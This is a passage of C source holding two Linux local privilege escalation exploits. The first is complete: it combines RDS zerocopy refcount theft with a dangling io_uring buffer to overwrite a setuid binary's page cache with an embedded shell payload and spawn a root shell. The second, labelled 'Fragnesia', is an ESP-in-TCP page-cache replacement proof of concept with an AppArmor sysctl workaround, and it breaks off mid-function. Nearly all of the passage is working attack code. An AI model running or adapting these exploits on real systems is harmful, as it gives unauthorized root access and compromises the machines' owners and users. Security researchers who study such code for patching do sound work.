page refcount is now ~1 * (just the PTE mapping). munmap takes the normal __folio_put path, which * calls mem_cgroup_uncharge (clearing memcg_data) before freeing. No * bad_page check fires. Page freed cleanly to PCP. * * io_uring keeps the raw struct page* in its bvec array with no liveness * checks. After the page is reclaimed as page cache for a suid binary, * READ_FIXED writes our payload into it through that dangling pointer. The * write lands after init_on_alloc zeroing and after the fs populates the * page from disk, so the payload survives. * * Closing ring1 would normally unpin the buffer (folio_put_refs with 1024), * corrupting whatever page now lives at that frame. We prevent this with * IORING_REGISTER_CLONE_BUFFERS: cloning to a second ring increments * imu->refs. io_buffer_unmap sees refs > 1 and returns without unpinning. * A forked daemon child holds the clone ring fd open indefinitely. * * PCP is LIFO, so we pin to one CPU and drain stale entries before freeing, * putting our page at the top when the page cache allocator grabs it. * * Chain: register(+1024) -> clone(refs=2) -> daemon holds clone -> steal * 1024 refs -> evict target page cache -> drain PCP -> munmap(free) -> * pread target(reclaim) -> READ_FIXED(overwrite) -> verify -> exec -> root * * Requires CONFIG_RDS, CONFIG_RDS_TCP (auto-loaded via SO_RDS_TRANSPORT=2 * since the zcopy path checks t_type == RDS_TRANS_TCP), CONFIG_IO_URING * with io_uring_disabled=0, and a readable suid-root binary. No capabilities * needed. x86_64 payload, technique is arch-independent. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef IORING_REGISTER_CLONE_BUFFERS #define IORING_REGISTER_CLONE_BUFFERS 30 struct io_uring_clone_buffers { __u32 src_fd; __u32 flags; __u32 src_off; __u32 dst_off; __u32 nr; __u32 pad[3]; }; #endif #define PAGE_SIZE 4096 #define GUP_PIN_COUNTING_BIAS 1024 #define PORT_BASE 20000 #define MAX_RETRIES 5 static const uint8_t SHELL_ELF[129] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0xb0,0x69,0x0f,0x05,0x48,0x8d, 0x3d,0xdb,0xff,0xff,0xff,0x6a,0x00,0x57,0x48,0x89,0xe6,0x31,0xd2,0xb0,0x3b,0x0f, 0x05, }; static const char *suid_candidates[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount", "/usr/bin/passwd", "/usr/bin/chsh", "/usr/bin/newgrp", "/usr/bin/umount", "/usr/bin/pkexec", "/mnt/suid_helper", NULL, }; #define ANSI_RESET "\033[0m" #define ANSI_BOLD "\033[1m" #define ANSI_RED "\033[1;31m" #define ANSI_GREEN "\033[1;32m" #define ANSI_YELLOW "\033[1;33m" #define ANSI_CYAN "\033[1;36m" #define LOG(fmt, ...) fprintf(stderr, ANSI_CYAN "[*]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__) #define ERR(fmt, ...) fprintf(stderr, ANSI_RED "[-]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__) #define OK(fmt, ...) fprintf(stderr, ANSI_GREEN "[+]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__) static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { perror("sched_setaffinity"); exit(1); } } static const char *find_suid_target(void) { for (int i = 0; suid_candidates[i]; i++) { struct stat st; if (stat(suid_candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) { OK("found suid target: %s", suid_candidates[i]); return suid_candidates[i]; } } return NULL; } static int backup_target(const char *path) { const char *name = strrchr(path, '/'); name = name ? name + 1 : path; char backup[256]; snprintf(backup, sizeof(backup), "/tmp/.backup_%s_%d", name, getpid()); LOG("backing up %s -> %s", path, backup); int src = open(path, O_RDONLY); if (src < 0) { perror("open src"); return -1; } int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0755); if (dst < 0) { perror("open dst"); close(src); return -1; } char tmp[4096]; ssize_t n; while ((n = read(src, tmp, sizeof(tmp))) > 0) { if (write(dst, tmp, n) != n) { perror("write"); close(src); close(dst); return -1; } } close(src); close(dst); OK("backup created: %s", backup); return 0; } static int steal_one_ref(void *page_addr, int port) { int fd = socket(AF_RDS, SOCK_SEQPACKET, 0); if (fd < 0) return -1; int v = 1; setsockopt(fd, SOL_SOCKET, SO_ZEROCOPY, &v, sizeof(v)); int sndbuf = 2 * 4096 * 4; setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); v = 2; setsockopt(fd, SOL_RDS, SO_RDS_TRANSPORT, &v, sizeof(v)); struct sockaddr_in a = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_LOOPBACK), .sin_port = htons(port), }; if (bind(fd, (struct sockaddr *)&a, sizeof(a)) < 0) { close(fd); return -1; } a.sin_port = htons(port + 1); struct iovec iov = { page_addr, 2 * PAGE_SIZE }; char cb[CMSG_SPACE(sizeof(uint32_t))]; memset(cb, 0, sizeof(cb)); struct cmsghdr *cm = (struct cmsghdr *)cb; cm->cmsg_level = SOL_RDS; cm->cmsg_type = RDS_CMSG_ZCOPY_COOKIE; cm->cmsg_len = CMSG_LEN(sizeof(uint32_t)); struct msghdr m = { .msg_name = &a, .msg_namelen = sizeof(a), .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cb, .msg_controllen = sizeof(cb), }; sendmsg(fd, &m, MSG_ZEROCOPY | MSG_DONTWAIT); close(fd); return 0; } struct uring { int fd; void *sq_ring; void *cq_ring; struct io_uring_sqe *sqes; uint32_t *sq_head; uint32_t *sq_tail; uint32_t *sq_mask; uint32_t *sq_array; uint32_t *cq_head; uint32_t *cq_tail; uint32_t *cq_mask; struct io_uring_cqe *cqes; size_t sq_ring_sz; size_t cq_ring_sz; size_t sqes_sz; }; static int uring_setup(struct uring *r, unsigned entries) { struct io_uring_params p; memset(&p, 0, sizeof(p)); r->fd = syscall(__NR_io_uring_setup, entries, &p); if (r->fd < 0) { perror("io_uring_setup"); return -1; } r->sq_ring_sz = p.sq_off.array + p.sq_entries * sizeof(uint32_t); r->cq_ring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe); r->sqes_sz = p.sq_entries * sizeof(struct io_uring_sqe); r->sq_ring = mmap(NULL, r->sq_ring_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING); if (r->sq_ring == MAP_FAILED) { perror("mmap sq_ring"); return -1; } r->cq_ring = mmap(NULL, r->cq_ring_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_CQ_RING); if (r->cq_ring == MAP_FAILED) { perror("mmap cq_ring"); return -1; } r->sqes = mmap(NULL, r->sqes_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQES); if (r->sqes == MAP_FAILED) { perror("mmap sqes"); return -1; } r->sq_head = r->sq_ring + p.sq_off.head; r->sq_tail = r->sq_ring + p.sq_off.tail; r->sq_mask = r->sq_ring + p.sq_off.ring_mask; r->sq_array = r->sq_ring + p.sq_off.array; r->cq_head = r->cq_ring + p.cq_off.head; r->cq_tail = r->cq_ring + p.cq_off.tail; r->cq_mask = r->cq_ring + p.cq_off.ring_mask; r->cqes = r->cq_ring + p.cq_off.cqes; return 0; } static int uring_register_buffers(struct uring *r, void *buf, size_t len) { struct iovec iov = { .iov_base = buf, .iov_len = len }; int ret = syscall(__NR_io_uring_register, r->fd, IORING_REGISTER_BUFFERS, &iov, 1); if (ret < 0) { perror("io_uring_register buffers"); return -1; } return 0; } static int uring_clone_buffers(struct uring *dst, struct uring *src) { struct io_uring_clone_buffers arg; memset(&arg, 0, sizeof(arg)); arg.src_fd = src->fd; arg.flags = 0; arg.nr = 0; /* clone all */ int ret = syscall(__NR_io_uring_register, dst->fd, IORING_REGISTER_CLONE_BUFFERS, &arg, 1); if (ret < 0) { perror("io_uring clone buffers"); return -1; } return 0; } /* * Fork a daemon child that holds ring2_fd open, preventing imu cleanup. * When ring1 is destroyed, io_buffer_unmap sees imu->refs > 1 and skips * the unpin_user_folio call that would corrupt the freed page's refcount. */ static pid_t spawn_ring_holder(int ring2_fd) { pid_t pid = fork(); if (pid != 0) return pid; /* parent */ /* child: hold ring2_fd open forever */ fcntl(ring2_fd, F_SETFD, 0); for (int fd = 0; fd < 1024; fd++) if (fd != ring2_fd) close(fd); open("/dev/null", O_RDONLY); open("/dev/null", O_WRONLY); open("/dev/null", O_WRONLY); execl("/bin/sleep", "sleep", "99999", (char *)NULL); _exit(0); } static int uring_submit_read_fixed(struct uring *r, int file_fd, void *buf, uint32_t len) { uint32_t tail = *r->sq_tail; uint32_t idx = tail & *r->sq_mask; struct io_uring_sqe *sqe = &r->sqes[idx]; memset(sqe, 0, sizeof(*sqe)); sqe->opcode = IORING_OP_READ_FIXED; sqe->fd = file_fd; sqe->off = 0; sqe->addr = (uint64_t)(unsigned long)buf; sqe->len = len; sqe->buf_index = 0; sqe->user_data = 0x1234; r->sq_array[idx] = idx; __atomic_store_n(r->sq_tail, tail + 1, __ATOMIC_RELEASE); int ret = syscall(__NR_io_uring_enter, r->fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, (size_t)0); if (ret < 0) { perror("io_uring_enter"); return -1; } return 0; } static int uring_wait_cqe(struct uring *r, int32_t *res_out) { uint32_t head = *r->cq_head; uint32_t tail; for (int i = 0; i < 1000; i++) { tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE); if (head != tail) break; usleep(1000); } tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE); if (head == tail) { ERR("CQ timeout - no completion"); return -1; } uint32_t idx = head & *r->cq_mask; struct io_uring_cqe *cqe = &r->cqes[idx]; if (res_out) *res_out = cqe->res; __atomic_store_n(r->cq_head, head + 1, __ATOMIC_RELEASE); return 0; } static void uring_destroy(struct uring *r) { if (r->sq_ring != MAP_FAILED) munmap(r->sq_ring, r->sq_ring_sz); if (r->cq_ring != MAP_FAILED) munmap(r->cq_ring, r->cq_ring_sz); if (r->sqes != MAP_FAILED) munmap(r->sqes, r->sqes_sz); if (r->fd >= 0) close(r->fd); r->fd = -1; } static int create_payload_file(void) { char path[] = "/tmp/.payload_XXXXXX"; int fd = mkstemp(path); if (fd < 0) { perror("mkstemp"); return -1; } unlink(path); uint8_t page[PAGE_SIZE]; memset(page, 0, sizeof(page)); memcpy(page, SHELL_ELF, sizeof(SHELL_ELF)); if (write(fd, page, PAGE_SIZE) != PAGE_SIZE) { perror("write payload"); close(fd); return -1; } return fd; } static int evict_page_cache(const char *path) { int fd = open(path, O_RDONLY); if (fd < 0) { perror("open for fadvise"); return -1; } if (posix_fadvise(fd, 0, PAGE_SIZE, POSIX_FADV_DONTNEED) < 0) { perror("fadvise"); close(fd); return -1; } close(fd); return 0; } static int attempt_exploit(const char *target, pid_t *daemon_out) { LOG("=== starting exploit attempt ==="); /* 1. mmap anon page + PROT_NONE guard */ void *buf = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (buf == MAP_FAILED) { perror("mmap buf"); return -1; } memset(buf, 'A', PAGE_SIZE); if (mprotect((char *)buf + PAGE_SIZE, PAGE_SIZE, PROT_NONE) < 0) { perror("mprotect guard"); munmap(buf, 2 * PAGE_SIZE); return -1; } OK("mapped buf=%p, guard at %p", buf, (char *)buf + PAGE_SIZE); /* 2. io_uring setup + register buffer (pins page, refcount += 1024) */ struct uring ring; memset(&ring, 0, sizeof(ring)); ring.fd = -1; ring.sq_ring = MAP_FAILED; ring.cq_ring = MAP_FAILED; ring.sqes = MAP_FAILED; if (uring_setup(&ring, 4) < 0) { munmap(buf, 2 * PAGE_SIZE); return -1; } if (uring_register_buffers(&ring, buf, PAGE_SIZE) < 0) { uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } OK("io_uring buffer registered (refcount now ~1025)"); /* 2b. Clone buffers to ring2 + spawn daemon to hold imu ref */ struct uring ring2; memset(&ring2, 0, sizeof(ring2)); ring2.fd = -1; ring2.sq_ring = MAP_FAILED; ring2.cq_ring = MAP_FAILED; ring2.sqes = MAP_FAILED; if (uring_setup(&ring2, 1) < 0) { uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } if (uring_clone_buffers(&ring2, &ring) < 0) { uring_destroy(&ring2); uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } OK("cloned buffers to ring2 (imu->refs now 2)"); pid_t daemon = spawn_ring_holder(ring2.fd); if (daemon < 0) { uring_destroy(&ring2); uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } uring_destroy(&ring2); OK("daemon pid=%d holds ring2 (prevents unpin on ring1 cleanup)", daemon); *daemon_out = daemon; /* 3. steal 1024 refs via failing zcopy sends */ LOG("stealing %d refcounts...", GUP_PIN_COUNTING_BIAS); int stolen = 0; for (int i = 0; i < GUP_PIN_COUNTING_BIAS; i++) { int port = PORT_BASE + i * 2; if (steal_one_ref(buf, port) < 0) continue; stolen++; if (stolen % 256 == 0) LOG(" stolen %d/%d refs", stolen, GUP_PIN_COUNTING_BIAS); } OK("stole %d refcounts (refcount now ~1)", stolen); if (stolen < GUP_PIN_COUNTING_BIAS) { ERR("only stole %d/%d refs - may not be enough", stolen, GUP_PIN_COUNTING_BIAS); if (stolen < GUP_PIN_COUNTING_BIAS - 10) { ERR("too few stolen refs, aborting"); uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } } /* 4. evict suid binary from page cache BEFORE freeing our page */ LOG("evicting %s page 0 from page cache...", target); if (evict_page_cache(target) < 0) { ERR("failed to evict page cache"); uring_destroy(&ring); return -1; } OK("page cache evicted"); /* 5. drain PCP: allocate many pages to push stale entries out */ LOG("draining PCP..."); void *drain_pages[256]; for (int i = 0; i < 256; i++) { drain_pages[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); } /* 6. munmap first page -> refcount 1->0 -> freed to TOP of PCP (LIFO) */ LOG("unmapping buf to trigger free (refcount 1 -> 0)..."); if (munmap(buf, PAGE_SIZE) < 0) { perror("munmap buf"); uring_destroy(&ring); return -1; } OK("page freed to top of PCP - io_uring retains dangling struct page*"); /* 7. read suid binary -> page cache alloc grabs from PCP top */ LOG("reading %s to reclaim freed page into page cache...", target); int tfd = open(target, O_RDONLY); if (tfd < 0) { perror("open target"); uring_destroy(&ring); return -1; } uint8_t verify_buf[PAGE_SIZE]; if (pread(tfd, verify_buf, PAGE_SIZE, 0) < 0) { perror("pread target"); close(tfd); uring_destroy(&ring); return -1; } close(tfd); OK("page cache populated"); /* clean up drain pages */ for (int i = 0; i < 256; i++) if (drain_pages[i] != MAP_FAILED) munmap(drain_pages[i], PAGE_SIZE); /* create payload file */ int payload_fd = create_payload_file(); if (payload_fd < 0) { uring_destroy(&ring); return -1; } /* 8. READ_FIXED: DMA writes payload into page cache via dangling page */ LOG("submitting IORING_OP_READ_FIXED to overwrite page cache..."); if (uring_submit_read_fixed(&ring, payload_fd, buf, PAGE_SIZE) < 0) { close(payload_fd); uring_destroy(&ring); return -1; } int32_t cqe_res; if (uring_wait_cqe(&ring, &cqe_res) < 0) { close(payload_fd); uring_destroy(&ring); return -1; } close(payload_fd); if (cqe_res < 0) { ERR("READ_FIXED CQE error: %d (%s)", cqe_res, strerror(-cqe_res)); uring_destroy(&ring); return -1; } OK("READ_FIXED completed: %d bytes written", cqe_res); /* 9. verify overwrite */ LOG("verifying page cache overwrite..."); tfd = open(target, O_RDONLY); if (tfd < 0) { perror("open target for verify"); uring_destroy(&ring); return -1; } uint8_t check[sizeof(SHELL_ELF)]; if (pread(tfd, check, sizeof(check), 0) != sizeof(check)) { perror("pread verify"); close(tfd); uring_destroy(&ring); return -1; } close(tfd); if (memcmp(check, SHELL_ELF, sizeof(SHELL_ELF)) != 0) { int first_diff = -1; for (int i = 0; i < (int)sizeof(SHELL_ELF); i++) { if (check[i] != SHELL_ELF[i]) { first_diff = i; break; } } ERR("verification FAILED - first mismatch at byte %d", first_diff); if (first_diff >= 0) { ERR(" expected[%d]: %02x got[%d]: %02x", first_diff, SHELL_ELF[first_diff], first_diff, check[first_diff]); } uring_destroy(&ring); return -1; } OK("verification PASSED - page cache overwritten with SHELL_ELF"); uring_destroy(&ring); /* 10. exec suid binary -> root shell */ fprintf(stderr, "\n"); fprintf(stderr, ANSI_YELLOW ANSI_BOLD "=== RESTORE: sudo cp /tmp/.backup_%s_%d %s && sudo chmod u+s %s ===" ANSI_RESET "\n", strrchr(target, '/') + 1, getpid(), target, target); fflush(stderr); for (int fd = 3; fd < 1024; fd++) close(fd); execl(target, target, (char *)NULL); perror("execl"); return -1; } int main(void) { pin_cpu(0); LOG("pinned to CPU 0"); const char *target = find_suid_target(); if (!target) { ERR("no suid binary found"); return 1; } if (backup_target(target) < 0) { ERR("backup failed, aborting for safety"); return 1; } pid_t daemons[MAX_RETRIES]; int ndaemons = 0; for (int attempt = 0; attempt < MAX_RETRIES; attempt++) { LOG("attempt %d/%d", attempt + 1, MAX_RETRIES); pid_t daemon = 0; int ret = attempt_exploit(target, &daemon); if (daemon > 0) daemons[ndaemons++] = daemon; if (ret == 0) return 0; /* attempt_exploit exec'd */ ERR("attempt %d failed, retrying...", attempt + 1); sleep(1); } for (int i = 0; i < ndaemons; i++) { kill(daemons[i], SIGKILL); waitpid(daemons[i], NULL, 0); } ERR("all %d attempts failed", MAX_RETRIES); return 1; } // Fragnesia: universal Linux LPE // Ubuntu users: AppArmor interferes with using namespaces, you need to use // `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`. // // You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability. // // Found with V12 by William Bowling on the V12 team // V12 - https://v12.sh - dangerously powerful agentic security // Patch: https://lists.openwall.net/netdev/2026/05/13/79 /* * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC. * * It only targets an already prepared disposable regular file under /tmp or * /var/tmp. The file must be readable by the caller and should be non-writable * to demonstrate the permission boundary. * * Build: * gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace * * Run: * ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445 * * Exit codes: * 1: vulnerable behavior verified * 0: fixed/no mutation observed * 2: local setup or argument error * 4: namespace/XFRM gate closed */ #define _GNU_SOURCE #include #include #include #include #if __has_include() #include #else #include struct sockaddr_alg { __u16 salg_family; __u8 salg_type[14]; __u32 salg_feat; __u32 salg_mask; __u8 salg_name[64]; }; #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef TCP_ULP #define TCP_ULP 31 #endif #ifndef NETLINK_XFRM #define NETLINK_XFRM 6 #endif #ifndef TCP_ENCAP_ESPINTCP #define TCP_ENCAP_ESPINTCP 7 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef ALG_SET_KEY #define ALG_SET_KEY 1 #endif #ifndef ALG_SET_OP #define ALG_SET_OP 3 #endif #ifndef ALG_OP_ENCRYPT #define ALG_OP_ENCRYPT 1 #endif #ifndef NLA_ALIGNTO #define NLA_ALIGNTO 4 #endif #ifndef NLA_ALIGN #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif #ifndef NLA_HDRLEN #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif #define FRAG_LEN 4096 #define ESP_GCM_ICV_LEN 16 #define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN) #define TCP_PORT 5556 #define PAYLOAD_LEN 192 #define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */ #define FRAME_BAR_W 50 #define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */ #define RECEIVER_PRE_ULP_US 30000 #define SENDER_PRE_SPLICE_US 1000 #define RECEIVER_POST_ULP_US 30000 static const unsigned char xfrm_aead_key[20] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04 }; static unsigned char active_esp_gcm_iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; static uint32_t active_esp_seq = 1; static const char *target_file; static char target_file_buf[PATH_MAX]; static loff_t target_splice_off; static uint16_t stream0_nonce[256]; static bool stream0_have[256]; static void die(const char *what) { fprintf(stderr, "%s: %s\n", what, strerror(errno)); exit(2); } static void gate_fail(const char *what) { printf("namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno)); exit(4); } static void store_be32(unsigned char *p, uint32_t v) { p[0] = (unsigned char)(v >> 24); p[1] = (unsigned char)(v >> 16); p[2] = (unsigned char)(v >> 8); p[3] = (unsigned char)v; } /* ANSI colours */ #define C_RESET "\033[0m" #define C_BOLD "\033[1m" #define C_DIM "\033[2m" #define C_RED "\033[31m" #define C_GREEN "\033[32m" #define C_YELLOW "\033[33m" #define C_CYAN "\033[36m" #define C_WHITE "\033[97m" #define C_BRED "\033[1;31m" #define C_BGRN "\033[1;32m" #define C_BYLW "\033[1;33m" #define C_BCYN "\033[1;36m" #define C_BWHT "\033[1;97m" static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) { size_t i; printf(C_DIM "%s=" C_RESET C_CYAN, label); for (i = 0; i < len; i++) printf("%02x", buf[i]); printf(C_RESET "\n"); } /* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */ static void print_hex_row(const char *path, uint64_t highlight_off, const char *before_label, unsigned char before_val, const char *after_label, unsigned char after_val) { uint64_t row_start = highlight_off & ~(uint64_t)15; unsigned char row[16]; ssize_t got; size_t col; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) return; got = pread(fd, row, sizeof(row), (off_t)row_start); close(fd); if (got <= 0) return; /* Hex section */ printf(C_DIM " %016llx " C_RESET, (unsigned long long)row_start); for (col = 0; col < 16; col++) { if (col == 8) printf(" "); if ((size_t)got > col) { if (row_start + col == highlight_off) printf(C_BRED "[%02x]" C_RESET, row[col]); else printf(C_DIM "%02x " C_RESET, row[col]); } else { printf(C_DIM " " C_RESET); } } /* ASCII section */ printf(" " C_DIM "|" C_RESET); for (col = 0; col < (size_t)got; col++) { unsigned char c = row[col]; if (row_start + col == highlight_off) printf(C_BRED "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.'); else printf(C_DIM "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.'); } printf(C_DIM "|" C_RESET "\n"); /* Annotation line */ size_t col_off = (size_t)(highlight_off - row_start); size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1; printf("%*s" C_BYLW "^-- +%04llx " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET " -> " C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n", (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label, after_val); } static int open_afalg_aes_ecb(void) { struct sockaddr_alg sa = { .salg_family = AF_ALG, }; int fd; fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0); if (fd < 0) die("socket(AF_ALG)"); strcpy((char *)sa.salg_type, "skcipher"); strcpy((char *)sa.salg_name, "ecb(aes)"); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("bind AF_ALG ecb(aes)"); if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0) die("setsockopt AF_ALG key"); return fd; } static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16], unsigned char out[16]) { char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {}; struct iovec iov = { .iov_base = (void *)in, .iov_len = 16, }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cbuf, .msg_controllen = sizeof(cbuf), }; struct cmsghdr *cmsg; uint32_t op = ALG_OP_ENCRYPT; ssize_t ret; int op_fd; op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC); if (op_fd < 0) die("accept AF_ALG"); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(sizeof(op)); memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); ret = sendmsg(op_fd, &msg, 0); if (ret != 16) die("sendmsg AF_ALG block"); ret = read(op_fd, out, 16); if (ret != 16) die("read AF_ALG block"); close(op_fd); } static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) { unsigned char counter_block[16], stream[16]; memcpy(counter_block, &xfrm_aead_key[16], 4); memcpy(counter_block + 4, iv, 8); store_be32(counter_block + 12, 2); afalg_aes_encrypt_block(alg_fd, counter_block, stream); return stream[0]; } static void build_stream0_table(void) { unsigned char iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; unsigned int count = 0, nonce; int alg_fd; alg_fd = open_afalg_aes_ecb(); for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) { unsigned char b; store_be32(iv + 4, nonce); b = aes_gcm_stream0_byte(alg_fd, iv); if (stream0_have[b]) continue; stream0_have[b] = true; stream0_nonce[b] = (uint16_t)nonce; count++; } close(alg_fd); if (count != 256) { fprintf(stderr, "failed to build complete stream-byte table: %u/256\n", count); exit(2); } printf("stream0_table_entries=256\n"); } static void choose_iv_for_stream0(unsigned char need_stream) { uint16_t nonce = stream0_nonce[need_stream]; memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv)); store_be32(active_esp_gcm_iv + 4, nonce); printf("byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream); print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); } static uint64_t parse_u64_arg(const char *s, const char *name) { char *end = NULL; unsigned long long v; if (s[0] == '-') { fprintf(stderr, "invalid %s: %s\n", name, s); exit(2); } errno = 0; v = strtoull(s, &end, 0); if (errno || !end || *end != '\0') { fprintf(stderr, "invalid %s: %s\n", name, s); exit(2); } return (uint64_t)v; } static int hex_nibble(int c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return 10 + c - 'a'; if (c >= 'A' && c <= 'F') return 10 + c - 'A'; return -1; } static bool is_hex_separator(int c) { return c == ':' || c == ',' || c == '-' || c == '_' || c == ' ' || c == '\t' || c == '\n' || c == '\r'; } static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out) { size_t cap = strlen(s) / 2 + 1, len = 0; unsigned char *buf; int hi = -1, v; buf = malloc(cap); if (!buf) die("malloc desired bytes"); for (; *s; s++) { if (is_hex_separator((unsigned char)*s)) continue; if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) { s++; continue; } v = hex_nibble((unsigned char)*s); if (v < 0) { fprintf(stderr, "invalid hex byte string near '%c'\n", *s); exit(2); } if (hi < 0) { hi = v; continue; } buf[len++] = (unsigned char)((hi << 4) | v); hi = -1; } if (hi >= 0) { fprintf(stderr, "hex byte string has an odd number of nibbles\n"); exit(2); } if (len == 0) { fprintf(stderr, "hex byte string is empty\n"); exit(2); } *len_out = len; return buf; } static unsigned char read_byte_at(const char *path, uint64_t off) { unsigned char b; ssize_t ret; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) die("open read byte"); ret = pread(fd, &b, 1, (off_t)off); if (ret < 0) die("pread byte"); if (ret != 1) { fprintf(stderr, "short pread at offset=%llu\n", (unsigned long long)off); exit(2); } close(fd); return b; } static void print_file_sample(const char *label, uint64_t off, size_t len) { unsigned char buf[32]; ssize_t ret; int fd; if (len > sizeof(buf)) len = sizeof(buf); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd < 0) die("open sample"); ret = pread(fd, buf, len, (off_t)off); if (ret < 0) die("pread sample"); close(fd); if ((size_t)ret != len) { fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n", (unsigned long long)off, len, ret); exit(2); } print_hex_bytes(label, buf, len); } static uint64_t use_existing_target(const char *path) { struct stat lst, st; if (lstat(path, &lst) < 0) die("lstat target"); if (!S_ISREG(lst.st_mode)) { fprintf(stderr, "target is not a regular file\n"); exit(2); } if (stat(path, &st) < 0) die("stat target"); if (!S_ISREG(st.st_mode)) { fprintf(stderr, "target is not a regular file\n"); exit(2); } if (st.st_size < FRAG_LEN) { fprintf(stderr, "target is too small: size=%lld need>=%d\n", (long long)st.st_size, FRAG_LEN); exit(2); } if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) { 